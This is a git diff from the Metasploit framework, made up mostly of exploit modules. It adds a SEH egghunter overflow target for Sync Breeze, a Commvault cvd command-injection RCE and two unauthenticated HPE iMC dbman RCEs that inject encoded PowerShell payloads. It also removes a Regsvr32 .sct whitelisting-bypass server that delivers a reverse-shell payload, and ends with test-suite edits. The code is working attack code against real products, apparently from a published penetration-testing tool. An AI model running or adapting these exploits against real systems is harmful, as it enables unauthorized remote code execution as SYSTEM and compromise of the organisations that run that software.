print_status("#{client.peerhost} - Request: #{res}")
|
||||
print_status("#{client.peerhost} - Response: sending 331 OK")
|
||||
user = "331 OK.\r\n"
|
||||
client.put(user)
|
||||
|
||||
res = client.get_once.to_s.strip
|
||||
print_status("#{client.peerhost} - Request: #{res}")
|
||||
print_status("#{client.peerhost} - Response: Sending 230 OK")
|
||||
pass = "230 OK.\r\n"
|
||||
client.put(pass)
|
||||
res = client.get_once.to_s.strip
|
||||
print_status("#{client.peerhost} - Request: #{res}")
|
||||
|
||||
eggoptions = { :checksum => true }
|
||||
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
|
||||
|
||||
# "\x20"s are used to make the attack less obvious
|
||||
# on the target machine's screen.
|
||||
sploit = "220 \""
|
||||
sploit << "\x20"*(9833 - egg.length)
|
||||
sploit << egg
|
||||
sploit << generate_seh_record(target.ret)
|
||||
sploit << hunter
|
||||
sploit << "\x20"*(576 - hunter.length)
|
||||
sploit << "\" is current directory\r\n"
|
||||
|
||||
print_status("#{client.peerhost} - Request: Sending the malicious response")
|
||||
client.put(sploit)
|
||||
|
||||
end
|
||||
end
|
|
@ -15,17 +15,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability
|
||||
in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
|
||||
improper bounds checking of the request in HTTP GET and POST requests
|
||||
sent to the built-in web server. This module has been tested
|
||||
successfully on Windows 7 SP1 x86.
|
||||
in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
|
||||
and v10.1.16, caused by improper bounds checking of the request in
|
||||
HTTP GET and POST requests sent to the built-in web server. This
|
||||
module has been tested successfully on Windows 7 SP1 x86.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Teixeira',
|
||||
'Andrew Smith', # MSF support for v10.0.28
|
||||
'Owais Mehtab' # Original v10.0.28 exploit
|
||||
'Andrew Smith', # MSF support for v10.0.28
|
||||
'Owais Mehtab', # Original v10.0.28 exploit
|
||||
'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
@ -53,6 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Offset' => 780,
|
||||
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
|
||||
}
|
||||
],
|
||||
[ 'Sync Breeze Enterprise v10.1.16',
|
||||
{
|
||||
'Offset' => 2495,
|
||||
'Ret' => 0x1001C65C # POP # POP # RET [libspp.dll]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
|
@ -102,6 +109,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
when /10\.0\.28/
|
||||
print_status('Target is 10.0.28')
|
||||
return targets[2]
|
||||
when /10\.1\.16/
|
||||
print_status('Target is 10.1.16')
|
||||
return targets[3]
|
||||
else
|
||||
nil
|
||||
end
|
||||
|
@ -156,6 +166,34 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'password' => "rawr"
|
||||
}
|
||||
)
|
||||
when targets[3]
|
||||
target = targets[3]
|
||||
|
||||
eggoptions = {
|
||||
checksum: true,
|
||||
eggtag: rand_text_alpha(4, payload_badchars)
|
||||
}
|
||||
|
||||
hunter, egg = generate_egghunter(
|
||||
payload.encoded,
|
||||
payload_badchars,
|
||||
eggoptions
|
||||
)
|
||||
|
||||
sploit = payload.encoded
|
||||
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
|
||||
sploit << generate_seh_record(target.ret)
|
||||
sploit << hunter
|
||||
# Push the payload out of this buffer, which will make the hunter look for the payload
|
||||
# somewhere else that has the complete payload.
|
||||
sploit << make_nops(200)
|
||||
sploit << egg
|
||||
sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => "/#{sploit}",
|
||||
'method' => 'GET'
|
||||
)
|
||||
else
|
||||
print_error("Exploit not suitable for this target.")
|
||||
end
|
||||
|
|
|
@ -0,0 +1,98 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Commvault Communications Service (cvd) Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability
|
||||
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
|
||||
and v10). The vulnerability exists in the cvd.exe service and allows an
|
||||
attacker to execute arbitrary commands in the context of the service. By
|
||||
default, the Commvault Communications service installs and runs as SYSTEM in
|
||||
Windows and does not require authentication. This vulnerability was discovered
|
||||
in the Windows version. The Linux version wasn't tested.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
|
||||
{
|
||||
'Arch' => [ARCH_X64, ARCH_X86]
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 12 2017'))
|
||||
|
||||
register_options([Opt::RPORT(8400)])
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
buf = build_exploit
|
||||
print_status("Connecting to Commvault Communications Service.")
|
||||
connect
|
||||
print_status("Executing payload")
|
||||
#Send the payload
|
||||
sock.put(buf)
|
||||
#Handle the shell
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
|
||||
def build_exploit
|
||||
|
||||
#Get encoded powershell of payload
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
|
||||
#Remove additional cmd.exe call
|
||||
psh = "powershell"
|
||||
idx = command.index(psh)
|
||||
command = command[(idx)..-1]
|
||||
|
||||
#Build packet
|
||||
cmd_path = 'C:\Windows\System32\cmd.exe'
|
||||
msg_type = 9
|
||||
zero = 0
|
||||
payload = ""
|
||||
payload += make_nops(8)
|
||||
payload += [msg_type].pack('I>')
|
||||
payload += make_nops(328)
|
||||
payload += cmd_path
|
||||
payload += ";"
|
||||
payload += ' /c "'
|
||||
payload += command
|
||||
payload += '" && echo '
|
||||
payload += "\x00"
|
||||
payload += [zero].pack('I>')
|
||||
|
||||
#Add length header and payload
|
||||
ret_data = [payload.length].pack('I>')
|
||||
ret_data += payload
|
||||
|
||||
ret_data
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,153 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerablity in
|
||||
Hewlett Packard Enterprise Intelligent Management Center before
|
||||
version 7.3 E0504P04.
|
||||
|
||||
The dbman service allows unauthenticated remote users to restart
|
||||
a user-specified database instance (OpCode 10008), however the
|
||||
instance ID is not sanitized, allowing execution of arbitrary
|
||||
operating system commands as SYSTEM. This service listens on
|
||||
TCP port 2810 by default.
|
||||
|
||||
This module has been tested successfully on iMC PLAT v7.2 (E0403)
|
||||
on Windows 7 SP1 (EN).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sztivi', # Discovery
|
||||
'Chris Lyne', # Python PoC (@lynerc)
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-5816'],
|
||||
['EDB', '43198'],
|
||||
['ZDI', '17-340'],
|
||||
['URL', 'https://www.securityfocus.com/bid/98469/info'],
|
||||
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'DefaultOptions' => { 'WfsDelay' => 15 },
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'May 15 2017',
|
||||
'DefaultTarget' => 0))
|
||||
register_options [Opt::RPORT(2810)]
|
||||
end
|
||||
|
||||
def check
|
||||
# empty RestartDB packet
|
||||
pkt = [10008].pack('N')
|
||||
|
||||
connect
|
||||
sock.put pkt
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
# Expected reply:
|
||||
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
|
||||
return CheckCode::Detected if res =~ /dbman/i
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def dbman_msg(db_instance)
|
||||
data = ''
|
||||
|
||||
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
|
||||
db_type = "\x04" # SQL Server
|
||||
db_sa_username = rand_text_alpha rand(1..5)
|
||||
db_sa_password = rand_text_alpha rand(1..5)
|
||||
ora_db_ins = rand_text_alpha rand(1..5)
|
||||
|
||||
# dbIp
|
||||
data << "\x04"
|
||||
data << [db_ip.length].pack('C')
|
||||
data << db_ip
|
||||
|
||||
# iDBType
|
||||
data << "\x02"
|
||||
data << [db_type.length].pack('C')
|
||||
data << db_type
|
||||
|
||||
# dbInstance
|
||||
data << "\x04"
|
||||
data << "\x82"
|
||||
data << [db_instance.length].pack('n')
|
||||
data << db_instance
|
||||
|
||||
# dbSaUserName
|
||||
data << "\x04"
|
||||
data << [db_sa_username.length].pack('C')
|
||||
data << db_sa_username
|
||||
|
||||
# dbSaPassword
|
||||
data << "\x04"
|
||||
data << [db_sa_password.length].pack('C')
|
||||
data << db_sa_password
|
||||
|
||||
# strOraDbIns
|
||||
data << "\x04"
|
||||
data << [ora_db_ins.length].pack('C')
|
||||
data << ora_db_ins
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def dbman_restartdb_pkt(db_instance)
|
||||
data = dbman_msg db_instance
|
||||
|
||||
# opcode 10008 (RestartDB)
|
||||
pkt = [10008].pack('N')
|
||||
|
||||
# packet length
|
||||
pkt << "\x00\x00"
|
||||
pkt << [data.length + 4].pack('n')
|
||||
|
||||
# packet data length
|
||||
pkt << "\x30\x82"
|
||||
pkt << [data.length].pack('n')
|
||||
|
||||
# packet data
|
||||
pkt << data
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
connect
|
||||
sock.put dbman_restartdb_pkt "\"& #{cmd} &"
|
||||
disconnect
|
||||
end
|
||||
|
||||
def exploit
|
||||
command = cmd_psh_payload(
|
||||
payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{ :remove_comspec => true, :encode_final_payload => true }
|
||||
)
|
||||
|
||||
if command.length > 8000
|
||||
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
|
||||
end
|
||||
|
||||
print_status "Sending payload (#{command.length} bytes)..."
|
||||
execute_command command
|
||||
end
|
||||
end
|
|
@ -0,0 +1,207 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerablity in
|
||||
Hewlett Packard Enterprise Intelligent Management Center before
|
||||
version 7.3 E0504P04.
|
||||
|
||||
The dbman service allows unauthenticated remote users to restore
|
||||
a user-specified database (OpCode 10007), however the database
|
||||
connection username is not sanitized resulting in command injection,
|
||||
allowing execution of arbitrary operating system commands as SYSTEM.
|
||||
This service listens on TCP port 2810 by default.
|
||||
|
||||
This module has been tested successfully on iMC PLAT v7.2 (E0403)
|
||||
on Windows 7 SP1 (EN).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sztivi', # Discovery
|
||||
'Chris Lyne', # Python PoC (@lynerc)
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-5817'],
|
||||
['EDB', '43195'],
|
||||
['ZDI', '17-341'],
|
||||
['URL', 'https://www.securityfocus.com/bid/98469/info'],
|
||||
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'DefaultOptions' => { 'WfsDelay' => 15 },
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'May 15 2017',
|
||||
'DefaultTarget' => 0))
|
||||
register_options [Opt::RPORT(2810)]
|
||||
end
|
||||
|
||||
def check
|
||||
# empty RestoreDBase packet
|
||||
pkt = [10007].pack('N')
|
||||
|
||||
connect
|
||||
sock.put pkt
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
# Expected reply:
|
||||
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
|
||||
return CheckCode::Detected if res =~ /dbman/i
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def dbman_msg(database_user)
|
||||
data = ''
|
||||
|
||||
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
|
||||
database_type = "\x03" # MySQL
|
||||
restore_type = 'MANUAL'
|
||||
database_password = rand_text_alpha rand(1..5)
|
||||
database_port = rand_text_alpha rand(1..5)
|
||||
database_instance = rand_text_alpha rand(1..5)
|
||||
junk = rand_text_alpha rand(1..5)
|
||||
|
||||
# database ip
|
||||
data << "\x04"
|
||||
data << [db_ip.length].pack('C')
|
||||
data << db_ip
|
||||
|
||||
# ???
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# ???
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# junk
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# ???
|
||||
data << "\x02\x01\x01"
|
||||
|
||||
# database type
|
||||
data << "\x02"
|
||||
data << [database_type.length].pack('C')
|
||||
data << database_type
|
||||
|
||||
# restore type
|
||||
data << "\x04"
|
||||
data << [restore_type.length].pack('C')
|
||||
data << restore_type
|
||||
|
||||
# ???
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# database user
|
||||
data << "\x04"
|
||||
data << "\x82"
|
||||
data << [database_user.length].pack('n')
|
||||
data << database_user
|
||||
|
||||
# database password
|
||||
data << "\x04"
|
||||
data << [database_password.length].pack('C')
|
||||
data << database_password
|
||||
|
||||
# database port
|
||||
data << "\x04"
|
||||
data << [database_port.length].pack('C')
|
||||
data << database_port
|
||||
|
||||
# database instance
|
||||
data << "\x04"
|
||||
data << [database_instance.length].pack('C')
|
||||
data << database_instance
|
||||
|
||||
# ???
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# ???
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# ???
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# ???
|
||||
data << "\x04"
|
||||
data << [junk.length].pack('C')
|
||||
data << junk
|
||||
|
||||
# ???
|
||||
data << "\x30\x00"
|
||||
data << "\x02\x01\x01"
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def dbman_restoredbase_pkt(database_user)
|
||||
data = dbman_msg database_user
|
||||
|
||||
# opcode 10007 (RestoreDBase)
|
||||
pkt = [10007].pack('N')
|
||||
|
||||
# packet length
|
||||
pkt << "\x00\x00"
|
||||
pkt << [data.length + 4].pack('n')
|
||||
|
||||
# packet data length
|
||||
pkt << "\x30\x82"
|
||||
pkt << [data.length].pack('n')
|
||||
|
||||
# packet data
|
||||
pkt << data
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
connect
|
||||
sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
|
||||
disconnect
|
||||
end
|
||||
|
||||
def exploit
|
||||
command = cmd_psh_payload(
|
||||
payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{ :remove_comspec => true, :encode_final_payload => true }
|
||||
)
|
||||
|
||||
if command.length > 8000
|
||||
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
|
||||
end
|
||||
|
||||
print_status "Sending payload (#{command.length} bytes)..."
|
||||
execute_command command
|
||||
end
|
||||
end
|
|
@ -1,98 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
|
||||
'Description' => %q(
|
||||
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
|
||||
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
|
||||
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
|
||||
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
|
||||
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
|
||||
'Trenton Ivey', # MSF Module (kn0)
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'windows/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Targets' => [['PSH', {}]],
|
||||
'Platform' => %w(win),
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 19 2016',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
|
||||
]
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def primer
|
||||
print_status('Run the following command on the target machine:')
|
||||
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
# If the resource request ends with '.sct', serve the .sct file
|
||||
# Otherwise, serve the PowerShell payload
|
||||
if _request.raw_uri =~ /\.sct$/
|
||||
serve_sct_file
|
||||
else
|
||||
serve_psh_payload
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def serve_sct_file
|
||||
print_status("Handling request for the .sct file from #{cli.peerhost}")
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
psh_command = generate_psh_command_line(
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
command: download_and_run
|
||||
)
|
||||
data = gen_sct_file(psh_command)
|
||||
send_response(cli, data, 'Content-Type' => 'text/plain')
|
||||
end
|
||||
|
||||
|
||||
def serve_psh_payload
|
||||
print_status("Delivering payload to #{cli.peerhost}")
|
||||
data = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true,
|
||||
use_single_quotes: true
|
||||
)
|
||||
send_response(cli,data,'Content-Type' => 'application/octet-stream')
|
||||
end
|
||||
|
||||
|
||||
def rand_class_id
|
||||
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
|
||||
end
|
||||
|
||||
def gen_sct_file(command)
|
||||
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
||||
end
|
||||
end
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58486
|
||||
CachedSize = 67282
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58450
|
||||
CachedSize = 67222
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58450
|
||||
CachedSize = 67222
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 58402
|
||||
CachedSize = 67182
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -1,8 +1,18 @@
|
|||
RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||
|
||||
# Wait for data to be loaded
|
||||
before(:all) do
|
||||
Msf::Modules::Metadata::Cache.instance.get_metadata
|
||||
end
|
||||
|
||||
let(:parent_path) do
|
||||
parent_pathname.to_path
|
||||
end
|
||||
|
||||
let(:metadata_cache) do
|
||||
Msf::Modules::Metadata::Cache.instance
|
||||
end
|
||||
|
||||
let(:parent_pathname) do
|
||||
Metasploit::Framework.root.join('modules')
|
||||
end
|
||||
|
@ -221,73 +231,37 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
end
|
||||
|
||||
context '#refresh_cache_from_module_files' do
|
||||
before(:example) do
|
||||
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
|
||||
end
|
||||
|
||||
context 'with framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
true
|
||||
context 'with module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files(module_class_or_instance)
|
||||
end
|
||||
|
||||
context 'with module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files(module_class_or_instance)
|
||||
end
|
||||
|
||||
let(:module_class_or_instance) do
|
||||
Class.new(Msf::Module)
|
||||
end
|
||||
|
||||
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
|
||||
expect(framework.db).to receive(:update_module_details).with(module_class_or_instance).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database).ordered
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
let(:module_class_or_instance) do
|
||||
Class.new(Msf::Module)
|
||||
end
|
||||
|
||||
context 'without module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files
|
||||
end
|
||||
it 'should update store and then update in-memory cache from the store for the given module_class_or_instance' do
|
||||
expect(metadata_cache).to receive(:refresh_metadata_instance).with(module_class_or_instance).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database).ordered
|
||||
|
||||
it 'should update database and then update in-memory cache from the database for all modules' do
|
||||
expect(framework.db).to receive(:update_all_module_details).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework migrated' do
|
||||
context 'without module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
let(:framework_migrated?) do
|
||||
false
|
||||
end
|
||||
|
||||
it 'should not call Msf::DBManager#update_module_details' do
|
||||
expect(framework.db).not_to receive(:update_module_details)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
it 'should not call Msf::DBManager#update_all_module_details' do
|
||||
expect(framework.db).not_to receive(:update_all_module_details)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
it 'should not call #refresh_cache_from_database' do
|
||||
expect(module_manager).not_to receive(:refresh_cache_from_database)
|
||||
it 'should update store and then update in-memory cache from the store for all modules' do
|
||||
expect(metadata_cache).to receive(:refresh_metadata).ordered
|
||||
expect(module_manager).to receive(:refresh_cache_from_database)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context '#refresh_cache_from_database' do
|
||||
|
@ -302,41 +276,6 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
end
|
||||
end
|
||||
|
||||
context '#framework_migrated?' do
|
||||
subject(:framework_migrated?) do
|
||||
module_manager.send(:framework_migrated?)
|
||||
end
|
||||
|
||||
context 'with framework database' do
|
||||
before(:example) do
|
||||
expect(framework.db).to receive(:migrated).and_return(migrated)
|
||||
end
|
||||
|
||||
context 'with migrated' do
|
||||
let(:migrated) do
|
||||
true
|
||||
end
|
||||
|
||||
it { is_expected.to be_truthy }
|
||||
end
|
||||
|
||||
context 'without migrated' do
|
||||
let(:migrated) do
|
||||
false
|
||||
end
|
||||
|
||||
it { is_expected.to be_falsey }
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework database' do
|
||||
before(:example) do
|
||||
expect(framework).to receive(:db).and_return(nil)
|
||||
end
|
||||
|
||||
it { is_expected.to be_falsey }
|
||||
end
|
||||
end
|
||||
|
||||
context '#module_info_by_path' do
|
||||
it 'should have protected method module_info_by_path' do
|
||||
|
@ -359,101 +298,78 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
module_manager.send(:module_info_by_path_from_database!)
|
||||
end
|
||||
|
||||
before(:example) do
|
||||
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
|
||||
it 'should call get metadata' do
|
||||
allow(metadata_cache).to receive(:get_metadata).and_return([])
|
||||
expect(metadata_cache).to receive(:get_metadata)
|
||||
|
||||
module_info_by_path_from_database!
|
||||
end
|
||||
|
||||
context 'with framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
true
|
||||
context 'with database cache' do
|
||||
#
|
||||
# Let!s (let + before(:each))
|
||||
#
|
||||
|
||||
let!(:mdm_module_detail) do
|
||||
FactoryGirl.create(:mdm_module_detail,
|
||||
:file => path,
|
||||
:mtype => type,
|
||||
:mtime => pathname.mtime,
|
||||
:refname => reference_name
|
||||
)
|
||||
end
|
||||
|
||||
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
|
||||
expect(Mdm::Module::Detail).to receive(:find_each)
|
||||
|
||||
it 'should create cache entry for path' do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
expect(module_info_by_path).to have_key(path)
|
||||
end
|
||||
|
||||
context 'with database cache' do
|
||||
#
|
||||
# Let!s (let + before(:each))
|
||||
#
|
||||
|
||||
let!(:mdm_module_detail) do
|
||||
FactoryGirl.create(:mdm_module_detail,
|
||||
:file => path,
|
||||
:mtype => type,
|
||||
:mtime => pathname.mtime,
|
||||
:refname => reference_name
|
||||
)
|
||||
context 'cache entry' do
|
||||
subject(:cache_entry) do
|
||||
module_info_by_path[path]
|
||||
end
|
||||
|
||||
it 'should create cache entry for path' do
|
||||
before(:example) do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
expect(module_info_by_path).to have_key(path)
|
||||
end
|
||||
|
||||
context 'cache entry' do
|
||||
subject(:cache_entry) do
|
||||
module_info_by_path[path]
|
||||
end
|
||||
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
|
||||
it { expect(subject[:parent_path]).to eq(parent_path) }
|
||||
it { expect(subject[:reference_name]).to eq(reference_name) }
|
||||
it { expect(subject[:type]).to eq(type) }
|
||||
end
|
||||
|
||||
context 'typed module set' do
